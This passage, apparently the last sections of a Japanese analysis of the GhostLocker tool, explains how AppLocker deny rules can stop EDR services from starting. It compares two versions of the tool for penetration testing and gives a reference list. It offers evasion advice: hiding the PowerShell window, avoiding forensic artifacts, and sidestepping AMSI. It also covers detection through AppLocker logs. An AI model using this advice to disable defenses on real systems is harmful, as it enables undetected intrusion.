再起動後:
       SCM がEDRサービスを起動しようとする
       └→ AppID.sys がプロセス生成コールバックでルール評価
       └→ Denyルールにマッチ → STATUS_ACCESS_DISABLED_BY_POLICY_OTHER
       └→ サービス起動失敗
       EDRカーネルドライバ(.sys)は正常にロードされる(AppLockerはユーザーモードのみ)
       └→ テレメトリ収集は継続するが、ユーザーランド分析エンジン不在
       └→ 検知・アラート・レスポンスの全機能が実質的に停止

AppLockerのイベントログ(→ [Ref.16])には、ブロックされたプロセスの情報が記録されます。ログの場所は Applications and Services Logs\Microsoft\Windows\AppLocker で、EXE/DLL、MSI/Script、Packaged Appの3つのサブログに分かれています。防御側はこれらのログを監視することで、AppLockerポリシーの悪用を検知できます。


8. 2版の比較と攻撃的観点でのトレードオフ

観点 main.cpp(動的列挙版) main_improved.cpp(ワイルドカード版)
事前偵察の必要性 ターゲットが実行中であること 不要(プロセス名のみで十分)
PPL回避の必要性 NtQuerySystemInformationで迂回(→ [Ref.6]) 不要
パス精度 正確な絶対パス ワイルドカード(同名バイナリを全てブロック)
副作用リスク 低い(特定パスのみ) ファイル名が重複する正規バイナリもブロック
コード複雑度 高い(未公開API、パス変換) 低い(40行程度のロジック削減)
検知回避 NtQuerySystemInformationの呼び出しが検知対象になりうる APIコール自体が少ない
ボリューム番号依存 あり(HarddiskVolume3ハードコード問題) なし
マルチOS対応 ボリューム番号が異なると失敗 問題なし

ペネトレーションテスト観点での推奨: ワイルドカード版(main_improved.cpp)の方がロバストで、失敗する条件が少ないです。ただし、ターゲット環境に同名の別バイナリが存在する場合の副作用評価は事前に行うべきです。

WDACとの比較

GhostLockerの比較対象として、WDAC(Windows Defender Application Control)を悪用したKrueger(→ [Ref.17])があります。WDACはAppLockerよりも強力で、カーネルモードドライバの読み込みもブロックできます(→ [Ref.18])。主な違いは以下の通りです。

  • AppLocker(GhostLocker): ユーザーモードプロセスの生成時にブロック。カーネルドライバは影響を受けない。ユーザー/グループ単位のルール設定が可能。
  • WDAC(Krueger): ブート時+ランタイムの両方でカーネルユーザーモード両方をブロック。システム全体に適用。

9. コード上の弱点・改善余地

ボリューム番号ハードコード(main.cpp 162行目)

前述の通り、HarddiskVolume3 が固定値です。QueryDosDeviceW(→ [Ref.9])による動的解決が必要です。

エラーハンドリングの不足

ShellExecuteW(→ [Ref.13])の戻り値を確認していません(main.cpp 377-384行目)。ShellExecuteW は成功時に32を超える HINSTANCE を返し、失敗時は32以下を返します。UACがキャンセルされた場合や、PowerShellがブロックされている場合の処理がありません。

バッファサイズの固定値(main.cpp 189行目)

LocalAlloc(LMEM_FIXED | LMEM_ZEROINIT, 1024) の1024バイトは、長いパスでは不足する可能性があります。NtQuerySystemInformationSTATUS_INFO_LENGTH_MISMATCH を返した場合に ReturnLength を使ってリトライするロジックが欠けています(→ [Ref.1c] のGeoff Chappell氏の解析参照)。

PowerShellへの依存

ポリシー適用に Set-AppLockerPolicy コマンドレット(→ [Ref.4b])を使用しているため、PowerShell Constrained Language Mode や AMSI(Antimalware Scan Interface)(→ [Ref.14])による検知の可能性があります。READMEで言及されている将来のC#実装では、IAppIdPolicyHandler COMインターフェースを直接呼び出すことでPowerShell依存を排除できます。

OPSEC上の懸念

SW_SHOWPowerShellウィンドウが表示されるため、オペレーター以外のユーザーに気づかれるリスクがあります。SW_HIDE への変更、および -WindowStyle Hidden パラメータの追加が実運用では必要です。

一時ファイルの痕跡

Set-Content で一時ファイルにXMLを書き出し、Remove-Item で削除していますが、NTFSジャーナルやMFT残存エントリとしてフォレンジックアーティファクトが残ります。レジストリへの直接書き込み(reg.exe または .NETRegistry クラス)でファイル書き出しを回避できます。


10. リファレンス一覧

各リファレンスURLは2025年2月時点で検証済みです。一部のMicrosoft LearnドキュメントはURL構造が変更されることがあるため、404の場合はタイトルで検索してください。

Ref.1: NT Native APIとundocumented構造体(ntdefs.h関連)
IDタイトル対応箇所
1a phnt — System Informer Native API headers ntdefs.hの列挙型・構造体定義の元リポジトリ
1b NtDoc — Native APIオンラインリファレンス SYSTEM_PROCESS_ID_INFORMATION等の詳細ドキュメント。diversenok氏がコンテンツ提供
1c SYSTEM_PROCESS_ID_INFORMATION (Geoff Chappell) 構造体のレイアウト、入出力仕様、エラーハンドリングの逆アセンブリ解析
Ref.2: diversenok(GhostLockerのインスパイア元)
IDタイトル対応箇所
2 diversenok — GitHubプロフィール AppLockerワイルドカードルールの指摘、IFEOからAppLockerへの転換のきっかけ
Ref.3: AppLocker概要とポリシー
IDタイトル対応箇所
3 AppLocker概要 (Microsoft公式) AppLockerのルールタイプ、強制モード、DenyルールのAllow優先の仕様
Ref.4: RuleCollectionExtensionsとSet-AppLockerPolicy
IDタイトル対応箇所
4a AppLocker RuleCollectionExtensions ThresholdExtensions/Services、RedstoneExtensions/SystemAppsの公式仕様。両方の同時設定が必須との警告あり
4b Set-AppLockerPolicy コマンドレット XMLポリシーファイルの適用方法、-Mergeパラメータの仕様
Ref.5: NtQuerySystemInformation
IDタイトル対応箇所
5 NtQuerySystemInformation (Microsoft公式) 公式にはSystemBasicInformation等の一部クラスのみ記載。SystemProcessIdInformationは未記載
Ref.6: SystemProcessIdInformationによるPPL回避
IDタイトル対応箇所
6 SystemProcessIdInformation使用例 (TheWover) PPLプロセスのイメージパスをハンドル不要で取得するコード実例
Ref.7: AppLocker XMLスキーマ
IDタイトル対応箇所
7 AppLocker Configuration Schema (Mattifestation) XMLの完全スキーマ定義。RuleCollection、FilePathRule、FilePublisherRuleの構造
Ref.8: Protected Process Light(PPL)
IDタイトル対応箇所
8a Protecting Anti-Malware Services (PPL) PPLの仕組み、ELAMドライバとの連携、保護されたプロセスへの制限
8b Process Security and Access Rights OpenProcessのアクセス権限とPPLによる制限の詳細
Ref.9: NTパス→Win32パス変換
IDタイトル対応箇所
9 QueryDosDeviceW (Microsoft公式) ボリューム番号の動的解決に使用すべきAPI
Ref.10: PowerShellインメモリ実行
IDタイトル対応箇所
10a powershell.exe コマンドライン引数 -EncodedCommand、-ExecutionPolicy Bypass、-NoProfileの仕様
10b PowerShell文字列エンコーディング -EncodedCommandがUTF-16LEを要求する理由
Ref.11: プロセス列挙
IDタイトル対応箇所
11 CreateToolhelp32Snapshot (Microsoft公式) TH32CS_SNAPPROCESSフラグ、PROCESSENTRY32構造体
Ref.12: EDRアーキテクチャ
IDタイトル対応箇所
12 Microsoft Defender Antivirus Architecture userlandエンジン+kernelドライバの構成。他のEDRも同様のアーキテクチャ
Ref.13: ShellExecuteW
IDタイトル対応箇所
13 ShellExecuteW (Microsoft公式) "runas"動詞によるUAC昇格、SW_SHOW/SW_HIDEパラメータ
Ref.14: AMSI(Antimalware Scan Interface)
IDタイトル対応箇所
14 AMSI概要 (Microsoft公式) PowerShellスクリプトの実行時検査。EncodedCommand経由でもデコード後に検査される
Ref.15: Well-Known SID
IDタイトル対応箇所
15 Well-Known SIDs (Microsoft公式) S-1-1-0 (Everyone)、S-1-5-18 (Local System) の定義と用途
Ref.16: AppLockerイベントログ
IDタイトル対応箇所
16 AppLockerイベントの監視 EXE/DLL、MSI/Script、Packaged Appの各イベントログの場所と内容。防御側の検知に必須
Ref.17: Krueger(WDAC悪用ツール)
IDタイトル対応箇所
17 Krueger — WDAC Abuse PoC WDACを使ったEDRドライバブロック。GhostLockerとの比較対象
Ref.18: WDAC(Windows Defender Application Control)
IDタイトル対応箇所
18 App Control for Business概要 WDACのアーキテクチャカーネル+ユーザーモードの両方を制御する仕組み
追加リファレンス
IDタイトル対応箇所
19 AppLocker Requirements AppLockerの動作要件、Windows 10以降のエディション制限の緩和(KB 5024351)
20 ELAM(Early Launch Anti-Malware) PPLプロセスの基盤となるELAMドライバの仕組み
21 AppLocker Deployment Guide ポリシーの展開手順と順序
22 SALアノテーション (Microsoft公式) ntdefs.hの _Field_size_bytes_part_opt_ の意味
23 GhostLocker GitHubリポジトリ(ツール本体) 本ドキュメントの解析対象ツール